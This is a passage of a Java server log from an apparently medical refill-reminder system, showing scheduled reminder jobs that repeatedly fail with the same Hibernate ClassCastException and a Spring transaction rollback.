java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 17:30:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 17:30:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 17:30:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 17:30:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 17:30:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 17:30:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 17:30:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 17:35:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 17:35:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 17:35:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 17:35:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 17:35:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 17:35:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 17:35:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 17:35:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 17:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 17:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 17:35:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 17:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 17:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 17:35:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 17:40:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 17:40:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 17:40:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 17:40:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 17:40:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 17:40:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 17:40:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 17:40:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 17:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 17:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 17:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 17:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 17:40:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 17:40:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 17:45:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 17:45:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 17:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 17:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 17:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 17:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 17:45:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 17:45:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 17:45:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 17:45:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 17:45:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 17:45:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 17:45:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 17:45:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 17:50:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 17:50:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 17:50:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at 